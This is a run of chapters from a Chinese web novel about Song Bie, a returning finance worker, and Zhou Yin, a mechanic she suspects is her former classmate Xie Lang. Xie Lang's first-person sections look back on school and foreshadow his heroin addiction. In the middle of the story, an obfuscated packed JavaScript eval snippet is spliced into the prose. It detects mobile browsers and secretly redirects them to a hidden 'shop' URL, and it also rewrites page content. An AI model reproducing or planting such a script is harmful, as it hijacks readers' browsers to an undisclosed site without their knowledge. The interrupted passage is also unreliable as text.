那边果然顿住了,停顿了一两秒,他接着道:“嗯,我这边有点事,马上处理好,你稍微等我一下。” 宋别坐在医院的病床上抽了一根烟,烟灰被掸在洁白到反光的地板上,远看上去,有些像星火点点。 一支烟的空当,手机就不安分地响了起来。 周寅不会来这么快,白杨路那段她熟悉,离这里少说也要十五分钟的车程。打开一看,果真不是他,是她爸。后爸。 宋别把烟头按灭在手边的床头柜上,漆白的木头瞬时留下一道浅浅的灼烧的黄痕,她也尽量换副嘴脸接起电话:“爸,怎么这个时候打过来?” 电话那头传来林钊粗沉的声音:“小别,挺久没跟你打电话的了,我和你妈都挺想你,自己一个人在北美那边都挺好的吧?” “嗯。”宋别轻轻嗯了一声,而后道:“爸,您这个时候给我打电话,不就是想问我回没回国吗?我是回来了,出了点小车祸,怕您和我妈担心就没告诉你们,今天就出院。” 林钊笑了两声:“上午在局里看到了个车祸的卷宗,签着你名字,还以为是同名呢。我听新来的那两个小伙子说了,伤怎么样,你姐姐也在家让她去接你吧。” “不用,我约了车,等下就来了。”宋别站起身走到床边,背身倚靠在窗台前,拨弄着上面一盆多肉,恶劣扯下一片肥厚的叶子在指尖揉捏。“等会儿可能去趟警局,您还没下班吧?” 林钊说:“巧了,我正好临时有个会,现在在路上呢,待会直接回家了。你也直接回家吧,小安在家等你。” 宋别随口应承了两句,余光瞥见楼下一辆黑色的车缓缓驶过来,心里一动,下一刻,手机就又响了。 她故作姿态地接起,果然是周寅:“抱歉宋小姐,晚了点时间,你还在吗?” “宋别。”她纠正,“等我,马上下去。” “好,宋别。” 她身上的伤已经好的差不多,就是头上撞的那个缺口还没完全愈合,额角贴了块白色的纱布,反倒让她显得不那么凌厉了。 澄州正值夏季,她也懒得刻意捯饬,只穿了件无袖白色紧身背心和牛仔短裤,风一吹过,倒还清凉。 见到周寅的时候,他正倚在车身上手里转着一个打火机,金属质地,太阳光一照,也反射出刺目的光。她这才注意到,在他的左手虎口至食指,纹着一条蜿蜒缠绕的蛇,幽幽地吐着信子,看一眼,都让人不寒而栗。 宋别走到他面前,食指指背漫不经心地挑起他那根刺青的手,慢条斯理欣赏半晌,从嗓子里溢出一声漠然的笑:“不怕疼吗?” 她身上还带着医院里附着上的寒气,指间冰凉的触感让周寅有一瞬的异样,他不动声色抽回自己的手,为她打开车门,侧身让道,回答说:“怕啊。” 副驾驶上赫然放着一张纸,她不用看就知道,是那份谅解书无疑。 她不是不守信用的人,况且,和这位故人的纠葛也不急于在这一时,她有大把时间,足够来日方长。宋别坐到车上第一件事,就是拿笔签下了自己的名字,张扬的“宋别”两个字,笔锋无比锋利,好像也带着狠劲。 “有印泥吗?”她转头问。 “没有。”周寅道,“不按也没太大关系。” 宋别没接他的话,自己从包里翻出一根口红来,打开盒盖旋出,往自己大拇指上蹭了两下,在白纸上留下一枚鲜红印记。 周寅忍不住窥向后视镜,透过镜面的反光看身边这个女人的动作。这动作本该和她是违和的,那像是小女孩过家家时胡乱往自己脸上涂抹口红的样子。可放在她身上,竟然平添了点妖冶。 说实话,第一次见这个女人,周寅并不大喜欢她。太刻薄,太锋利,太精明。不像是个平常遇到的女人,倒像个女土匪。偏巧,她还真带着那么点匪气和痞气。 咄咄逼人。 宋别把口红合上,没有放回包里,随手甩上了控制台,这辆破桑塔纳算是她坐过最差的车。 她忽然开口问道:“周寅,你为什么叫这个名字?” 大概是由于刚才窥视的心虚,周寅也被她这突如其来的一问给问愣了,但也仅是停顿一秒,他就很快答道:“爹妈给的,哪有为什么?” “也不能随便从犄角旮旯里捡了个字就来当名字了。”她扬唇轻笑,右手掰着把座椅的角度调大,舒舒服服地维持半躺的姿势:“琳琅满目,多好的字。” “还有锒铛入狱。” 4. 第 4 章 1. 澄州不像别的地方,给你反应喘息的时间,让你准备从夏转秋。常常只有一场秋雨,一道秋声,热气就一夜之间四散奔逃,被替换成明晃晃的凉。 连冬也是这样,一夜北风刮过去,就剩遍地寒霜。我趴在二楼窗户前看着被吹得来回摇摆的小树,感叹一句,风可真大,树都要被吹断腰了。 我妈往头上给我套上一个针织帽,让我护着点耳朵,最后说,你爸过两天就回来了,到时候咱俩一起去接他。我冲着我妈毫不留情地做鬼脸,算了吧,就您那开车技术,我爸非得等到黄花菜都凉了。 但我也确实不明白我妈这个驾照到底是怎么拿到手的,她开车很费劲,转个弯都要犹豫磨蹭半天,马路上总是小心翼翼。其实我也已经会开车,只不过年纪太小,还没到考驾照的时候。 记得我爸第一次带我上路,我打方向盘在澄州城里的小道上穿梭,没有学两天,就已经游刃有余。我似乎总有这样的天赋。他坐在副驾驶,笑着说等我高考完拿了驾照,就奖励我一辆某某牌的车。 具体是什么牌子我已经忘记了,大约也是很好的,左不过宝马,奔驰,奥迪,或者凯迪拉克之类。那时候我家的生活条件已经十分富足,房子越换越大,我爸甚至上了澄州报纸,说是什么杰出企业家。 我这张脸有一半基因来自于他,同学们在看到报纸上的我爸时,一面说他多么帅气,一面又看向我,说你们俩挺像,说不定你以后也走上这条路了。 我告诉同学,那是我亲爸,能不像吗。 她睁大了眼,惊讶出口,随后抱住我的胳膊夸张地说,以后可得抱紧你的大腿。我拿笔戳了戳她,对她说,你抱成大胳膊了。 那时我记得我也有过几个挺好的朋友,毕竟群体社会,谁都不可能踽踽独行。我们一块吃饭一块打球,下课时也会聚在一起吐槽某一个老师又拖堂。那些朋友说我不像是天才,太亲民了。 其实不用太去细想,刨除加诸在我身上的那些光环,我也只是一个最普通不过的常人。甚至在某些方面,连常人都不如。电视或书里的天才大都不太一样,他们不爱说话,不和别人交流,他们的世界别人理解不了。于是他们孤独又寂寞。 可是我不一样。上天把这些光环给我,却不用我付出任何代价。我就像是平白捡到了从天而降的馅饼,让我的人生之旅比他人都要顺畅。 那时我还为自己的拥有沾沾自喜,洋洋自得。殊不知,多年之后再回首这段旅程,在不知不觉中,我早已走上了灭亡的道路。 语文老师曾在课上讲起祢衡和贾谊,说年少成名者,路途太顺,没有风波摧残,没有坎坷磨砺,太志得意满,往往会登高跌重,不得好报。 我自大的在心中嘲讽他们太狂太傻,看不清时势,若是我,一定不会这样。这句话太讽刺,成了往后我的判词。 若是说起天才,澄州一中除我之外还有一个,是个姑娘。还是个小姑娘。我不记得她的名字了,只记得依稀听班主任说起过,连跳了两级上的高中,比我们都要小两岁。 高中的八卦往往和所谓幼稚的爱情脱不开关系,某某和某某在一起了,某某和某某分开了,某某又出轨了某某。但我们都还有点良心在,这么小的小姑娘没有人会把她当做“恋爱发展对象”,于是她很自然的被排除在八卦风云之外。 没有多少人晓得她的名字。 但高一时我们毕竟比邻在隔壁班,也听那几个狐朋狗友说起过,说她比我更有“天才”的派头。 不怎么交朋友,不太爱说话。在群体里显得特立独行。 这样不安全。我深知道,这一群人究竟是有怎样的劣根性,仿佛天生就要排斥太独特的人。我们都竭力追求与众不同,又更加竭力杀死与众不同。 无论何时,随波逐流都是最好的选择。 关于我的那些朋友,我不否认,在某些方面我对他们心存鄙夷,他们身上有一种让人了无生趣的平凡。我想她也一定是不屑的,可她用一种更尖锐和锋利的方式。 如我所料,这位妹妹确实惹人不顺,在某一次临上课时,我匆匆从水房赶来,余光瞥见有个小个子被人拉到了楼梯口,然后被一片阴影笼罩。 大概是出于所谓“天才”之间的惺惺相惜,我心一横,决定伸出援助之手。上课铃结束,门外已经没什么人,我往前大步迈过去,到楼梯口,看见下面拐角处几个男生把她围在中间质问,不就是让你传个答案,有那么难吗,就那么轴? 有人扯着她的头发附和,说这群学习好的就是没情商,以后也就是给别人打工的份儿。我觉得连我也骂进去了,加上他们不要脸到对一个比他们都小两岁的女孩儿动手,正义感在我心中涌现,脑海里不自觉放起陈小春的《乱世巨星》。 叱咤风云我任意闯万众仰望,叱咤风云我决不需往后看…… 热血上头,我三步并两步,从楼梯上跳下去,一个飞踢踹在离我最近的那个人身上。他一时不查,被我踹的倒了下去,我也没站稳,跟在倒在了地上。 但气势不能输。我很快站起来,挡在那姑娘前头,问前面那些人,自己考不好欺负人姑娘算怎么回事? 地上那人也被人扶了起来,骂了一句什么,几个人眼看着就要过来,被教导主任一声怒喝给吓一激灵,我们几个齐齐往下看去,看见一个油亮亮的大脑门正极速前进。不知道谁说了一句跑,我也下意识地撒丫子跑了起来。结果上面也有个老师给堵住了我们的去路。 大脑门教导主任三两步到了我们面前,看了看那妹妹,又看了看我,再扫过那几个凶神恶煞的男生,让我们都滚去教导处罚站。 后来他看了监控,又问了我们几个,这才放我和那妹妹离开,临走前慈眉善目地对我说,知道你是见义勇为,可也要讲究方式方法嘛。我点头应和,一转头,他又开始吐沫横飞骂那几个男生,让他们写两千字检讨。 我大概知道原因,我和这小个儿一个第一一个第二,都是清北苗子,那就是他的宝贝金疙瘩,怎么能不供着,还差点让人给揍了。 出了办公室的门,我正要往教室走的时候,后面就传来了一道声音,小个儿对我说,谢谢你,谢琅。 我笑两声,也无暇顾及她是怎么晓得我的名字的,刚才摔那一下给我左屁股快摔八瓣,在心里嗷嗷直叫,疼死你爹了,疼死你爹了。 2. 从警察局走出去,警察告诉周寅,两边都有谅解书,那个叫高远的司机也快出来了,就这两三天的事。周寅似乎心情挺好,说话时的尾音轻扬,问她去哪儿,他送她。 宋别报了父母家的地址,一只手百无聊赖的扒拉着手机,最近一个次贷危机搞得整个美利坚国土上下人心惶惶,金门大桥上一茬一茬地往下跳人,连华尔街都要疯了。 如果不是这次危机,她现在或许已经是一个合法的北美公民了。没有绿卡,在那里生活就要付出多一些的代价,这些代价她当然出得起,可是完全没有必要。这次危机给了她一个警示,论稳定,没有任何一个国家能比得上中国。 她看那些虚虚实实的消息看得有些头疼,一会儿又是美联储加息了,一会儿又是准备向哪个国家输送国债。她的东家上面有大人物压着,没被影响多少,还岿然不动,她也才争取到这次外派回国的机会。 关上手机,宋别看了一眼身边的男人,很快又收回目光,往嘴里填了一根烟,拿打火机点燃,等吸上才问他:“周寅,有女朋友吗?” 周寅觉得她连抽烟都跟别的女人不一样。他身边的女孩大多都抽烟,然后把嘴里的烟雾团成团儿似的吐到男人身上,又妖又媚,哪怕只是静静站在那儿,也都是满身风情。这位不一样,不是说没风情,只是她的风情跟别人有点差别。抽起烟来,像是陈年的老烟鬼。 不妖不媚,反而又彪又悍,又痞又匪,好像下一刻就能从嘴里吐出一句脏话。 “没有。”他回答她道,“我这样的人,谁跟我。” 她衔着烟笑:“你什么样的人?” “没钱。”周寅说,“问这做什么?” 宋别依旧半躺在座椅上,一条腿自然下垂,另一条弯曲起,踩在座椅上。尼古丁的快感让她的双眼有些迷离,整个人被笼罩在云山雾海里,像极了一个…瘾君子。 “你猜。”她放纵一笑,牙齿出奇的洁白,实在惑人心扉。 周寅不再看了,有些狼狈地收回目光。这女人好像是故意的,可是为什么。 这么多年的经历让他不得不养成警惕的性格,忍不住去探究起她的目的。可接下来宋别也没有再说话了,一根烟抽完,手指捻灭还亮着火星的烟头,一伸手给甩到了窗外。 她悠悠哉哉躺在座椅上,这辆车隐隐透着些机油的味道,没有任何反常。她隔着一段距离,从背后看向前面开车的周寅,他身材高大,肩膀很宽,却又不是那种天天喝蛋白粉锻炼出的大块头肌肉。 像是日日夜夜里风吹雨打给磨出来的。 谢琅怎么会做这样的工作呢?她实在疑惑,想不透。他可是那样的骄傲的人。 有个念头在她脑海里一闪而过,或许,眼前这个人真的只是周寅,和他没有半分钱关系。 她不自觉地吞咽了一下口水,焦灼的心中浮现一丝渺茫。大约已经将近十年没见,十年前她离开校园起就再没和谁有过联系,更不用说本就不怎么熟的谢琅。 十年里就连她自己都变了挺多,更遑论旁人。或许不是说变了,只是身上的某一个欲望被无线滋养放大,遍地耸动着唯利是图的血液里,谢琅是唯一不计得失的澄澈。 宋别闭上眼,忘记这是澄州,正值盛夏,阳光毫不留情地炙烤着土地,铺陈在她脸上,把医院带来的最后一丝寒气都驱散。她试图去想谢琅,去想十年前的他是怎样的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135748|150085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可到底是失败的,这些年的时间把她给填满,那些记忆久远到都生出霉斑,本来面目究竟是什么样的,再也无从考究。 留给她的,只有一个死气沉沉的形容词。 天之骄子。 她掀了一下眼皮,看向周寅。天之骄子,他吗? 廉价的衣物,破旧的桑塔纳,还沾染着机油的手,以及被岁月侵犯的身躯。 车子很快到了宋别家楼下,那是个独栋,是很多小康家庭的首选。周寅从后备箱里给她搬下来从警察局领走的箱子,然后礼貌道别,“走了,宋别。” 叫她的名字时,周寅忽然有了一种错觉,好像他们已经是熟稔多年的老友。 宋别朝他微扬下巴,神色张扬,“等再见的吧。” 他没有接话,径自上了车。那时候周寅打心眼儿里认为,自己跟这样的女人再扯不上什么关系了。 宋别也不在乎他怎么想的,散了散自己身上的烟味,拖着箱子走到门前敲了敲门。开门的是她的继姐,林康安。 两姐妹从宋别初中时候就在一块了,彼此勉强还能算是一块长大的情谊,不过自大学起就分道扬镳了。这几年一直维持着联系,但各有各的工作,彼此都忙,也鲜少见面。 林康安接过她手里的箱子,开玩笑地嘲讽:“哟,大忙人舍得从美利坚合众国回来了?” 宋别被热得出了点汗,急忙钻进屋子里,从冰箱里拿起一瓶啤酒咬开,然后跟她掰扯:“咱俩都在美洲,就别五十步笑百步了。” 林康安大学学的是新闻专业,和她这个满身铜臭味一心往钱眼儿里钻的恶臭资本家走狗不一样,她的理想说得上伟大,而且基本实现了。 现在在拉美地区做驻外记者,大概也和这次差点波及全球的经济危机有关,那边和中国境内暂缓协议,她这才被召回来回来休假。 “现在只剩环球台的记者还在那边。”林康安在简讯里跟她说,“估计影响挺大的,那些人很可能趁着这个机会有大动作,可惜了。” 她口中的那些人是毒贩。 林康安这些年在那边一直专做毒品的调查,世界三大毒窟,一个是由缅甸,老挝,泰国三国交界形成的金三角,一个是巴基斯坦地区的金新月。另一个,则处在另一端的拉美地区,号称银三角。金三角主种鸦片,金新月则是鸦片和□□,至于银三角,主要就是大麻,□□和古柯叶。 林康安一开始是在金三角地区,曾经还采访过一个那地方的毒枭,出乎意料的,他是中国人的后代,国民党战败后逃亡那里,靠着武装力量开始做起了贩毒生意,那里的人都称呼他为将军。 本以为金银有序,可去了美洲之后才发现,银三角并不比金三角的形式更温和。 “要我说啊,你回来是对的,北美那地方有什么好,我去过费城一次,遍地都是大麻的味道。”林康安把纸巾递给她擦汗,“这次回来待多长时间?” 宋别从烟盒里抽出一根烟,里面的万宝路已经所剩无几,她熟练的点燃,咬进嘴里吸上一口,才慢悠悠地回答她:“估计挺长的,看这边的发展情况,还有大东家的决策。我这儿只是一个试点,发展好的话,会考虑把手伸到亚太地区的。” 林康安看她抽烟的样子,忍不住皱了皱眉,她十八岁就去了北美,那时候可还没这个坏毛病。但随即,林康安立马想到了什么,掰着她的脸面对向自己,冷肃地问她:“宋别,你老实告诉我,你是不是也碰那东西了?!” 她有点不明所以:“什么东西?” “毒品。”林康安吐出这两个字,觉得牙齿都有些打颤。在那个五分之一人口都是瘾君子的放纵国度,难保宋别不会沾染。 宋别挑眉看她,略带欣赏玩味的意味看她这种紧张的神情,又抽了一口烟问她:“说真的?” “宋别,你不会真……” “没。”她轻笑一声:“林康安,我可是中国人,不会不明白这东西是什么。” 林康安还是不放心,拉过她的手臂检查,没二两重的皮肉挺光滑,没什么针孔之类的东西。她这才舒了一口气,冷着脸教训她:“宋别,你在北美这么多年,做别的什么我不管你,可有一点,你要是碰它,你这辈子可就完了。” “我当然晓得。”宋别把烟按灭在烟灰缸里,往嘴里灌了一口冰啤酒,转头对林康安说:“只是我守得住,就怕那边自由民主的北美国快要守不住了。” “你什么意思?” “我那边一个朋友,家族里的人很多是政客,他告诉我,已经有人递交了大麻合法化的提案,说不定过几年还真让这个法案给通过了。”宋别把嘴角上残存的酒渍舔进嘴里,叹口气:“这个国家还真是跟要疯了一样,不过没关系,总归不是中国,隔着条太平洋,影响不到我们。” 林康安还震惊在那条法案的消息上,听见她后一句,幽幽答道:“不见得。” 5. 第 5 章 1. 那天我摔得是真的不轻,一上午都站在后面听课,老师问我怎么不回座位上坐着,我说是因为困,怕自己睡着。 数学老师大肆表扬了我,说要让那些上课经常睡觉的特困生们都跟我学习学习。我站在后面,迎接着众人的目光洗礼,清晰的听见一个刚睡醒的老哥用嘴型跟身边人说,装什么装。 我不否认我是一个挺爱装的人,我享受那些人仰望艳羡的目光,享受他们同我遥不可及的距离,享受他们费尽心血的努力不如我随手翻两下书。更享受我的天赋,他们的平凡。 我贪恋这种阶级上带来的优越感,这是比金钱上的富足,容貌上的烨丽更加让人膨胀的感觉。钱可以挣,脸可以整,唯有头脑和智商,是他人无论付出多大努力都无法更改的。 我不得不承认,我迷恋的,其实是这种坚不可摧的阶级。以及身处在阶级高处带给我的自命不凡。 我也承认,除了这些外物——智商家境容貌——我没有任何可贵的品质。 所以从这时开始,就已经奠定了我未来苦痛罪恶的一生。只是我太年轻,无论多么聪慧,都没有预见未来的能力。 回到家之后,我添油加醋地把今天如何见义勇为,“英雄救小”的故事说我妈听,在我看来她有点傻傻的,不那么聪明,无论我说什么她都信。就好比这一次,她也毫不迟疑地相信了,说给我做糖醋里脊奖励。 她在做菜上有特别的天赋,好像只有在这上面一点就通。少年时我以为我并没遗传母亲这个技能,但在往后那些逃亡的日子里,我才惊觉,自己也是有几分天赋在的。 我妈总是以我为骄傲,不止是我那些让人望尘莫及的成绩,哪怕仅是一件小事,她都会忍不住拿去炫耀。那天我同她说了自己的英雄事迹之后,她就开始打电话对我爸夸夸其谈。 她的朋友并不多,我和我爸是她最忠实的听众,于是在我妈又一次添油加醋的复述下,我爸也开始为我喝彩。说起他俩的爱情故事,也可谓是羡煞旁人。至少是羡煞我了。 他们年轻的时候被分配到了一个厂里,我妈那时候是厂里的厂花,我爸就常常告诉我,整个钢厂的老爷们,就没有不喜欢你妈的,可怎么着,最后还是让我一骑绝尘,给拿下了。那时候喜欢我妈的男人真是不在少数,然而,女人却并不怎么喜欢她。 不是因为别的什么,因为我妈那时候干活太慢了,常常拖整个小组的进度。那时候的女职工比男职工还要有团队荣誉感,于是就都不怎么待见我妈这个磨蹭鬼。 她年轻时候很爱看书,读张爱玲,读红楼,那些看不惯她的女职工,不知道是谁把她的书给放到外面,下了一场雨,全都不能要了。 那时候我爸特别会来事,骑着个二八杠,披着厂里的蓝色雨衣,去外面拿自己的粮票换了一整套的张爱玲和红楼。就是那一次,把我妈感动的不知南北。 后来我妈告诉我,主要还是看我爸长得帅。还有就是,我爸虽然不爱看书,但是总爱听她说话。 在那个男女结婚之前几乎都不怎么见面的时代,我妈是被我爸一点点给追到手的。所以我罕见的,出生在一个满是爱的家里。在这个家,我有英勇高大的父亲,温柔知意,饱读诗书的母亲,还有富庶的家境。仅是这一条,就让我赢过太多人。 我妈告诉我,以后也得找个自己喜欢的女孩子,还要对得起人家。 我对她的话没有什么太大的感觉。在爱情飞速萌芽的高中阶段,我没有一次体会到过这种名叫“喜欢”的情绪。后来反思一下,也能找得到原因。 尽管我是这样一个“平易近人”的学霸,可是在心底里,我没有看得起过这里的任何一个人,我对他们的目光从来都是俯视的。这视角让我变得狭隘,刻薄,这样贫瘠的土壤,本就不是滋生这种美好单纯情愫的沃土。 我那些狐朋狗友中的一个男生,在某一次体育课给我指了隔壁班一个女生,鬼鬼祟祟问我觉得她怎么样。 我说,两只眼睛一张嘴,很像个人。 他立马给了我一记头槌,让我不要侮辱她。我看出他的异样,于是回教室之后,他再次鬼鬼祟祟告诉我说他喜欢那个女生,然后问我,你不觉得她笑起来的时候很可爱吗? 我们的那几个狐朋狗友都围了过来,我依稀记得是五个人,三个男生,两个女孩。我和其余的三个人一起分析着他的情窦初开,最后眼神置换一圈,统一摇了摇头,说没觉得。那个女孩算不上好看,如我所说,两只眼睛一张嘴,正常人都长那样子。 有个女生说,我算是知道什么叫做情人眼里出西施了。那个男生气得拿笔戳她的胳膊,对她说你根本不懂爱。 我问他,那你这个大情圣快教教我们,什么叫爱,也好让我学习学习。 我们四个一致点头,等他传授经验。他支支吾吾,苦思冥想了半天,最后终于说出口,对我们道,没办法形容,你们知道那种感觉吗,就是一看到她就开心,她从我身边一走一过,能看她一眼,跟她说一句话就特别幸福。你们懂吗,幸福的感觉,不是高兴也不是开心,就是幸福。算了,说了你们也不懂。 那时稚嫩的我确实理解不了这种抽象的情感,原因之一是我没有切身的体会过,在我而言幸福和高兴开心没什么本质上的区别。之后的几年,我的生活更是跟“幸福”二字扯不上一点关系。 我始终不明白,那究竟是一种什么样的情感,能让人所有的自制力在它面前土崩瓦解,溃不成军。直到很久以后,我终于迟来地体会到这种情感,一共两次。 一次是宋别给我的。另一次,则是海/洛/因。 前者和后者有着很大的区别,但带给我的感觉又是相似的。让我深陷,让我沉沦,让我欲罢不能,同时,也都与痛苦如影随形,不知疲倦地折磨着我。 但这两者又有些不同。宋别,总是在我幸福的时候又让我倍感痛苦,在我痛苦时,想起她的音容笑貌,又无比幸福。而后者,在带给我海市蜃楼的快感过后,就把我拖进无限痛苦的深渊泥淖。这苦痛鞭笞着我,让我不得不去鲜血淋漓地追求它的镜中花,水中月。 只是现在的我,对未来即将发生的一切,都还浑然不知。 2. 宋别妈妈宣霖知道她今天回来,提早就去备菜,回来的时候手上提着挺多东西,两个姑娘给她接过来,问她要做什么好吃的。 “你们两个,不回来是不回来,一回来还都赶到一块儿了。不是我说你宋别,回来了怎么都不跟家里打电话,要不是你爸看见你的回执单,还打算瞒着是吗?”宣霖在她头上狠狠点了一下,又看见她头上的伤口,猛刹住车,收回手。 她讪笑两声:“这不是怕您二老担心吗,也不是多大的事,就蹭破了点皮。您该多关心关心我姐啊,每天枪林弹雨的,可比我危险多了。” 宋别这一开口,成功把宣霖的目光转向了林康安,转头又去说她:“还有你也是,做记者就做记者,非要去那么危险的地方,跟那些人打交道,那可都是亡命之徒啊!” 林康安转头瞪了她一眼,又去回答宣霖的话:“也没那么危险,我这不是全须全尾回来了?” 宋别得了闲,从老妈手里接过来东西,偷看今天做什么好吃的。以前在家的时候没觉得,去了国外才发现还是妈妈做的饭好吃。 林钊也不久就回来了,带着点风尘仆仆的意思,额头上出了不少汗。一回来就是训宋别,怪她出车祸也不跟家里说,这回倒轮到林康安在一边看她笑话了。 林钊和宣霖两个人,一个是市警察局局长,另一个是在三尺讲台上站了二十几年的人民教师,谁也不比谁嘴笨,一说起话来,还容易上纲上线。 最后还是宣霖听不下去了,过来把他拉厨房里帮忙。 因为准备的菜多,晚饭开始已经是一个小时后了,宋别饿的前胸贴后背,上餐桌像逃难一样凑过去吃,把老两口心疼坏了。 “慢点小别,没人抢你的。”宣霖见缝插针地又给她夹了一筷子菜,随后才问:“这次回来打算待多长时间?” “不走了。”宋别说:“先留在这边的子公司。” “小安呢?” “看台里,现在还在跟拉美地区交涉,不过至少一年是要待在中国的。” 宣霖又给她夹了菜:“要我说干脆留在国内多好,去那么远的地方,那么不安全,真要是出点什么事可不是要我们的命吗。” “这事总得有人做,您看我爸,以前不也是缉毒警察吗?”林康安想起宋别的话,忽地冷笑一声,说道:“我们在这边因为禁毒死那么多人,那边倒好,背后捅刀子,大麻合法这种荒唐的事也能做出来。” 宋别侧目瞥了她一眼:“他们自取灭亡,也不是什么坏事。” 她并不常谈论政治,以前觉得政治跟自己没什么太大的关系,但自从从事金融一来,也不得不关注各国时事政治,稍有点风吹草动,都可能在证券市场掀起惊涛骇浪。 尽管无所谓各国人民的死活,但跟自己账户的数额挂钩,宋别还是很上心的。 林康安曾经说她是资产阶级的走狗,这句话也是实打实没有说错。某种程度上,她也在为政客服务,这个公司算是东家的钱袋子,为游说和选举提供了很大便利。但也并不只有这一个钱袋子,最主要的摇钱树,还是在NRA,北美步枪协会,称得上全美最有钱的利益集团了。 而据她所知,这位东家也是大麻合法法案的支持者之一。要么说,权力就是不能掌握在资本手里。一个被毒品和金钱深度腐蚀的国家,能走多长远呢。 宋别在心里冷笑一声,这跟她没什么关系,至少,北美总不会比她先灭亡。 话落之后,林康安立马不满地给了她一记眼刀:“宋别,毒品问题是全球性的。” 有时候宋别也奇怪,一个家庭怎么能同时养出她和林康安这样的孩子,一个绝对的伟光正,一个十足十的钱串子。 她一直不认同基因论,但她们的分别又好像真的与基因有关。林康安的父亲是坚毅正直的人民警察,而她那老爹……怎么形容,社会的蠹虫。 说到这里,林钊也从餐桌上抬起头,神情有些严肃:“你们两个最近在澄州也小心点,那种乱七八糟的地方少去,局里有风声,咱们这儿也有可/卡/因之类的东西流进来。” 林康安夹了一筷子鱼,脸上没什么变化,只是也很凝重。她常跟这些东西打交道,晓得它们进入中国境内到底意味着什么。 宋别点点头,说会注意。 吃过饭,烟瘾就立马上来了,她草草从餐桌上下去,说累了回房间。她的房间在二楼,阳台是和林康安的互通的,就没有在阳台上抽,直接往床上一躺,点燃烟丝丝缕缕的抽。 在烟雾笼罩下,她忍不住想起在北美的那些时候,其实她骗了林康安。北美学校里不少人都沾这东西,公司里则更多,这些混迹在金融市场的 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他冷笑一声,毫不留情地戳破:“你是想回中国了吧。” 宋别没否认,她本来就是中国人,十八岁出国以后,一年之中回来的日子就寥寥无几,算起来在北美已经将近七年之久。今年宋别二十五岁,所有该得到的,金钱,名誉,地位已经一应俱全,她已奔忙至山顶,是时候该抽出点时间留给七情六欲了。 刹那间,她想起了周寅。 十年前谢琅的样子说不模糊是假的,以至于现在一想起,无论是谢琅还是周寅,都只是那一张清晰的脸。 多了几分硬朗,穿起衣服还是带着清峻,比起曾经的那个少年,多多少少增添了一些俗世尘泥的味道。 “中国有什么好,戴着镣铐的国家,哪有我们这里自由民主?” “是啊是啊,也没有你们被枪杀的人多,更没你们的瘾君子多。”宋别呵呵笑,大概是因为那一层关系,她对这个少东家也没什么规矩。 陈斯年被她逼到无话可说,叹道:“中国人都像你一样能言善辩吗?” “你身上不也流着中国人的血。”她的烟抽完,一伸手就给按灭在了身边的床头柜上面,转身换了个舒服的姿势。“陈斯年,你父亲和母亲吵架的时候谁更雄辩?” 他是混血儿,父亲是北美人,母亲则来自中国,但因为自小生活在北美那片土地上,属于中国人的那部分血脉并没有多么好的土壤供其生长。 于是所有资本主义的恶习都被他沾上了,尊崇利益至上,奉行弱肉强食。 他似乎沉思了片刻,最后说确实是中国人更雄辩。 宋别觉得在这里跟他讨论什么哪个血脉的人更能言善辩实在是有点违和,毕竟他们的关系还没好到是可以闲聊天的那种,于是开口问他:“陈斯年,还有事吗?” “宋,过段时间我需要你陪我去墨西哥一趟。”他说,“在金融和证券市场上很有天赋的人,也会是一位不可多得的政客。” “中国这边呢?”宋别问。 “这里并非只有你,谁来都是一样的,结果不会有太大的改变。可是宋,我需要你。” 多年来的上流社会身份让陈斯年养成了高高在上的性格,哪怕不可以去显露,说话间也会有一种理所当然的压迫。 宋别没拒绝,说到时候再说,而后顺嘴问了一句大麻合法化的进程怎么样。 “这两年是不会通过的,最少要五到十年。DEA(美国缉毒局)那五千多个特工和两百多个办事处的人还不想那么早失业。” 这次换成宋别一声冷笑,“是吗,真敬业啊,一点都不像几十年前的BNDD。” 她以前在北美他们的发展史的时候,记得很清楚,有一道笔墨就是为DEA而留,它的前身是BNDD,麻醉品及药品管理局,当年在安斯林格的统治下,本身可就是海/洛/因的主要供应者和保护人。到现在,她可不相信真的连皮带骨都给换干净了。 他说:“中国有句话,叫今时不同往日。” 门“吱呀”一声响动,她半靠在枕头上抬眼望过去,是林康安进来了。 她也没什么话要说了,伸手挂断了电话。 “妈切了点水果,让我给你送过来。”她把盘子放到沙发边的小桌上,一走进就闻见了呛人的烟味,忍不住皱眉呛她:“少抽点烟吧,小心得肺癌。” “少咒我。”宋别说完,挑衅似的又拿出一根烟咬在嘴里,作势就要点燃。 林康安斜瞪了她一眼,劈手就把烟盒和打火机都抢了过来,两姐妹还要争夺时,她的电话就响了起来,转身走向阳台,到自己房间那边。 宋别也跟了过去想要抢烟,她正打着电话,也没有要跟她争,手一松就把东西给她了,自己朝电话那边说:“只要消息准,钱不是问题。” 那边不知道说了什么,估计答应了,于是她道:“可以,你开个价。” 她对记者的工作有一些了解,陈斯年这样身份的人,和记者打交道很多,连带着她有时候也不得不应对。她知道记者在采访前有一个重要的环节,线人。 电话那头的人,如果不出意料的话应该就是她的线人了。 宋别没什么兴趣继续听下去,转着手里的打火机就要离开,却在转身的时候听见从林康安嘴里吐出一行字:“光明修车行?好。” 她记得,周寅的修车行似乎就叫这个名字。 6. 第 6 章 1. 我的前半生几乎没受过什么挫折,也几乎没什么烦恼。和我一起跨入青春期的同学们,一颗心却总是躁动不安。 塞满他们脑海和心房的事情太多,让他们尚且幼稚和年轻的身体应接不暇。成绩,家庭,心中春心萌动,情窦初开的暗恋对象以及处理不好的同学关系暂且不提,男生们滞后不前的身高,开始冒头的粗短胡茬,女生们脸上遍布的青春痘,腰上堆叠的赘肉,都是他们愁思忧虑的来源。 可我却从没有体会过这样的哀愁,不明白这样小的事情也值得夜里反复折磨。上天对我太过宽厚,给了我优越到让人追捧的颜值身高成绩,给了我幸福圆满的家庭,还让我的情窦迟迟不开。 我无法融入他们的愁苦,甚至在心底居高临下地嘲弄。我大概明白,这似乎也就是为什么,我会如此的麻木不仁。 痛不在己身,我才有足够的底气去冷眼旁观,去漠然置之。 